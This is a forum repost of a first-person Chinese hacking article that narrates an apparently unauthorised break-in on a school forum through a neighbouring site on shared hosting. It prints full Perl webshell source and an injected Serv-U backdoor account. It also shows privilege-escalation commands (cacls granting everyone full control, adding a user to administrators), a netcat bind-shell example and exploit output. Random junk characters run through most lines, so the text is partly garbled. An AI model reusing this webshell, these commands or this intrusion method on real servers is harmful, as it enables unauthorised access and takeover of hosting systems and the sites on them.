找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2020|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
9 d4 \4 _, Q; N1 q- b  z% `! S+ @本文作者:angel& \! o- v4 k( Z+ y) k8 }
文章性质:原创" E5 K% s0 i: a4 k0 z+ R$ o
发布日期:2004-11-09
/ E* N2 Q9 ~7 C% `( H) f注意:
' l- y4 a( F0 C" }. I/ W( G* M本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。/ G- L2 G$ z/ @" n' v9 r
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
  C* k! B% Q6 n8 |
1 l: M  D9 K" [6 P3 Z; ^# ~# X  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 * x1 g0 M" a6 Q  P5 \, {4 u% j1 h
: B6 C! F! r: D5 v* U
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
/ o' u8 H0 q2 m; G# @0 d' w: L
5 ^3 g+ v4 y2 W  o! u- I& s' \6 z& n  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 & B/ Z- Y1 T5 x

% S: S/ M5 ?  y" Z, ~$ ]( l  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 8 B: q2 G4 S: x* a: x- T
+ f5 |$ u" ^8 b+ [; C3 l& }
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 ) n7 {( ~+ i8 Y& d; m

& [' U' l! ~( x3 w8 d% w  没有目的的跳转目录着……
) y' z: i- w" m( W- I5 Z2 g, t" x6 {' L1 i1 e
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… $ o7 k0 L1 L1 x4 s
. z* o8 Z9 ]) N3 A- ?0 m6 K# d
  结束了吗?不,我试着 FTP 一下:
' X6 f% G1 t9 n3 g2 z  U/ [; |" }2 r; a( g# @
Microsoft Windows 2000 [Version 5.00.2195]
8 d& O1 [6 ~/ @1 [2 E(C) 版权所有 1985-2000 Microsoft Corp.
- d# Y" P- X/ L/ X/ ~4 s4 F  b- H1 @% @% Q1 q! @+ z
C:\Documents and Settings\Administrator>ftp www.school.com( k' \9 ~9 q1 ?3 x
Connected to www. school.com.   J* @) j# U. V: q1 `) o
220 Welcome to FTP Server... 0 C. p# |  p5 p# N9 M  K1 @9 o
User (www.bjtrq.com:(none)):
" \& a+ v; s9 c331 User name okay, need password. , ]2 N8 E7 z/ \" Q9 r* X
Password: % Y2 _6 b. u$ |& y/ w6 D
530 Not logged in. 2 P  A6 {/ v* \5 L
Login failed.
( @) Q2 B  P: H3 T" y; L! Lftp> bye ' B' E  R$ z2 W2 R: x6 s
221 Goodbye! 0 z4 b* A" {  ~" T1 s$ z8 p  ^

" f2 }8 V4 q1 X# N, x. k  L- S0 s$ `3 j5 J
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
& Z# A7 S& F( m, V
8 N& n. _1 }* B* g  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ) @  b8 r: \+ [/ Z! p

! J9 t1 \$ s! `, ?" KApplication Data
# @/ e8 r* [; Z0 C* l# KDocuments
7 i1 B  {0 Q# J& u* @5 xDRM9 J8 K+ f, M: s0 {2 J# q- I' Z  Q
Favorites% @. ]' Y& D8 c
Templates
$ }  v  c( |5 N0 }% z# p& E. g5 d  t「开始」菜单( u* C" q+ u9 |, Y; y3 d" j& J$ w
桌面
  u$ @. {. g2 l. @3 W' P
- Q( m3 b! T* I9 l4 ^8 y& g" s8 ]# H  T+ `' y7 P
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ; N" r0 K- Q; h4 z0 P
( R1 q  |; p; ~. L
ActiveState ActivePerl 5.81 \9 h4 E5 Y/ e' O, R5 C. w
Administrative Tools
- \: r1 m( J- ^. ^( g# x( `1 L3 }Deerfield.com" I/ v( M) t2 [' V" G/ R; I  @
DTemp
8 J# S: v+ J$ ^/ _/ lIPSentry
0 _  \  O+ l8 w6 M% J6 r' bMBM 5
* N! T3 m8 \9 E* ?! {( d7 tNetMeter
  R' X% i1 U! J% ^$ W8 sNetwork ICE0 o9 k2 e4 ~- i) H
Persits Software AspEmail
: _6 X& k/ W: H0 i# d" q& GPersits Software AspJpeg
% y3 E  R2 D* fServ-U FTP Server
4 t2 ?6 U& o% }) F* QSymantec Client Security; S9 t- M( P$ h, f3 p/ b
Windows 优化大师
# Y# b! W& E" o3 P5 c  h1 \WinRAR) D* ]/ p% b* k4 A
启动
$ H6 w8 K$ P6 V( w8 u" v( z  n  ^管理工具( R1 x& F/ t3 P  R6 f* }( C$ k
附件
% I7 k0 x) H, s$ } 0 t8 l0 O! N$ Q" R4 ]; F6 R
3 v2 U' d0 p& O2 d4 W
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
8 K" ]: O  x' A, u, g& @9 s5 A  X0 v$ h
; B* m7 w- D* n5 W) I  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 0 b+ v, [7 R; C. m0 {

! J2 X; e% O9 E+ r' Z# IUser281=angel|1|0
4 r1 E6 p- b6 i, Y: p* m  G$ |$ `; l' ` # P/ g, S9 T1 {6 a

/ ?# v; N1 E" S' u  \! a0 D  然后加上
2 ~! p5 ]3 j2 |; d; y- O8 u
  E9 u' u5 D8 f& I* `[USER=angel|1]
6 ?: Y, {4 P; s, a6 q" Y- iPassword=ng98F85379EA68DBF97BAADCA99B69B8053 l3 E4 h- N7 F/ R
HomeDir=D:\websites6 R4 |5 S( E& H0 Z1 C
RelPaths=1- W, L( E* z7 k  U8 O- g1 t
TimeOut=6005 Z- ^, s/ V1 U& R0 r8 f
Maintenance=System
* W& o1 ^* Y) u# a: _/ LAccess1=D:\websites|RWAMELCDP+ Q6 H1 ^5 B' |# C2 P
SKEYValues=
; N9 s6 F; o1 _7 o4 [1 |
' i( W, z2 E& f$ A" H
* @. K% ^5 `# j  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
& a$ n% `) c& ]2 o1 k
5 |% U! u. S1 Q* \  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 9 r# H- J6 N# t5 E( n

2 v$ A, w, A) A, g8 O  W* W% {7 S( u  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
! ]& w6 R5 Y* K2 w8 F0 D8 E1 ^' X7 F! L" i7 G8 s$ G
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
2 _! q; T8 K' o4 w6 n$ f4 z, {. E4 i) k
#!/usr/bin/perl2 c& ~0 B, s4 E" P/ M
binmode(STDOUT);
2 I- Z9 U6 N3 Hsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
, E/ |1 K3 o; k3 p  e1 o; T$_ = $ENV{QUERY_STRING};/ R5 C2 d& K; u& X/ p+ |+ q, \
s/%20/ /ig;4 y5 E: d( P7 ?0 s( d
s/%2f/\//ig;
( ?  Z2 _  ]/ q$ \$execthis = $_;
5 v% g1 N; h* T. d9 `% Hsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
" d9 t2 W6 l" i# l( yopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
, [7 c  Z9 A0 s4 M7 b5 dsystem($execthis);! c9 n5 X4 ]# D* M
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
  P! b+ g/ Z. i! wclose(STDERR);* \' H9 ?0 O9 N
close(STDOUT);6 Q7 c5 j% {9 W* H
exit;3 l3 g+ @0 H$ S

, b1 D" z: i$ H7 }, `+ X/ t4 Y
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
1 ~2 t7 y& C( @: o, Y+ z* ^
# G  Y" g/ T6 D  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: - B. w% A; v) Y3 `  R* U

/ w  n3 `* ~0 R0 J6 v# s3 ]. v2 Whttp://anyhost//cmd.pl?d:\user\bin\su.exe
) k5 h0 C5 \  D
& B- u; n* w, D& x
9 ?9 X  }4 i9 M. m8 ^# d  返回:
; F& b/ X% F' U: O* s" a3 |
# V- v6 Q; M& mServ-u >3.x Local Exploit by xiaolu   ^5 {# [7 `  {2 m& ?# ?  o5 k

0 G* |/ V3 R1 Z) L$ Y" @3 lUSAGE: serv-u.exe "command"
4 u' ]) r: f9 |- s- o* X& C) z5 [* `7 o
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 2 q3 A/ k% F% B2 v: u
4 {- W8 f3 H- o! C4 ]0 i

. x6 t% U$ P2 u6 `' A8 [7 S  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
  p3 K& T4 X) P) w# k
% i8 p" ~1 x2 K$ Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
/ ~, [* i+ j5 T& o* s9 X9 ?) P6 k. _! n) A. Z
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
5 h# m, M" i; x' Q: E% _+ |* u" e3 z1 p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" # ?( d( P6 G0 y) h& g, K$ a& Z: W

. U3 L: ^8 v' y( S  ]/ khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 2 N' |4 _" G6 B

, W% B6 T8 a( v) A  A9 d6 V* ?& O# i$ q% W2 o4 a) P: Z
  返回下面的信息,就表示成功了!!! 2 C0 F- D0 z8 K1 {* u3 x% T

7 D: z$ u4 ~8 q/ f5 wServ-u >3.x Local Exploit by xiaolu   }: }3 R6 ?" I3 z3 s) E

4 o% D7 i7 F( z& |$ x$ `<220 Serv-U FTP Server v5.2 for WinSock ready... , ]0 n/ z1 a* ]0 f

+ v- l( Y) Y# P5 Y>USER LocalAdministrator
/ A! ]# e* U5 ~. Y
1 Y7 ^2 w. S  e<331 User name okay, need password.
+ y6 H2 T5 k$ I6 h. J2 w+ U3 e* ~# _/ y
******************************************************
/ y& F9 j) g/ H$ @0 v) E# Y" h% y& y
: H8 Y* o. z" b2 d5 H8 |>PASS #l@$ak#.lk;0@P
0 J* M+ U3 s- z. b( Y' d8 K0 U
( z: W1 m2 f+ y5 k" W<230 User logged in, proceed. ; A2 U1 w3 E# O2 H) a
* c0 H, o/ O( [0 T
******************************************************
1 Q4 V+ m& C5 U( S! i3 w8 d5 W* J6 ]( I. R* H
>SITE MAINTENANCE
! i& {1 e; u9 {7 ~. q2 q
( h- _) U" @, f0 [; Y4 z* i. A) r: u) v******************************************************
* h! T. E" P6 [- Q  k' X  K, ?! t0 A1 t( D
[+] Creating New Domain... / [+ Z; @: m" @% q: `
8 P( L! b6 ~4 I% C/ e! C' S& t! p, @8 x! Q
<200-DomainID=2
0 m1 O6 @5 C& j0 i  r) N, w+ s/ F( L0 k3 y: n6 h8 G4 d
<220 Domain settings saved
5 r3 V6 D  j2 z4 Q4 o& C& C- W/ V! e9 K( p. y( E# @
******************************************************
+ p# I. S9 P3 x
5 g/ _, j$ X* p% {[+] Domain xl:2 Created 2 `+ N) @7 s% ~  E* T

# h+ n7 V( f$ i' |, R2 e[+] Creating Evil User ; r0 a* \& ~  e- n

& Z; j. T: |/ C& {5 i( n- ^<200-User=xl
/ O- @7 W8 P. q; r+ n
) U4 i' Y& ?# Z4 ?3 ~4 @200 User settings saved
1 Y7 ~' ^- L: H: g9 \% e& S; I
9 G" B9 {4 W% y" [****************************************************** 7 ?1 d0 j& s8 X+ x9 X

8 y: e7 F* ~; L& C3 d! C; V* g[+] Now Exploiting...
4 L) Q" e! c5 E! R8 z' }5 I% n. q5 b% d
" l! ^! t, G4 a" p3 P/ m( N- h3 S+ F>USER xl
% J% S, @, C3 x9 ?' k
  k$ ?+ U5 S1 G7 e3 _9 X( e<331 User name okay, need password.
! D2 X( s/ T6 n! B( W/ U* O
+ }. A9 }: s) s0 M4 ^! ?) J8 n; c****************************************************** / ?  O) T% q5 S& U
1 V! z7 f7 z$ Y5 T( x3 X
>PASS 111111 # O  |$ i' n2 S3 l
# h2 y. ~* }9 e/ a7 h
<230 User logged in, proceed.
" M8 `. m! u7 g+ z; P
0 W& t8 k( M* i# r******************************************************
- v! ^0 u5 |: I- w  l! l% a( u7 m; R5 R+ z9 R# ]
[+] Now Executing: cacls.exe c: /E /T /G everyone:F   m2 C3 T8 w) |1 `: n, e8 m  `  z
* _- i2 o) L- N) V: p* ?
<220 Domain deleted 0 i  i( i. c: u/ Q
, d# i; f8 f3 Q. i& G0 n1 d
****************************************************** - n6 c' w" F9 J) p6 m% l
5 J2 N% }+ X" {$ v
5 V/ [# i/ v  A9 I5 n- H, b8 o
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) ]! C% i2 f- \2 G# i, y# w9 M) V8 j
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
/ o$ Y5 ~$ n9 U! R: u: {; X# C' t & f8 m9 P5 l+ g1 t! M  b1 A
2 u2 g4 z3 U0 c+ J! U$ T" W; y
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 1 E8 t% y$ H0 P2 A: K, b4 \8 s
7 \0 p6 X/ j8 F1 H3 x  y  i& U
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。$ n1 p  h  r5 h9 i1 {) m
  b8 l1 ^5 V* G4 B
  
; ^1 z) S  P+ k3 P5 h. \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表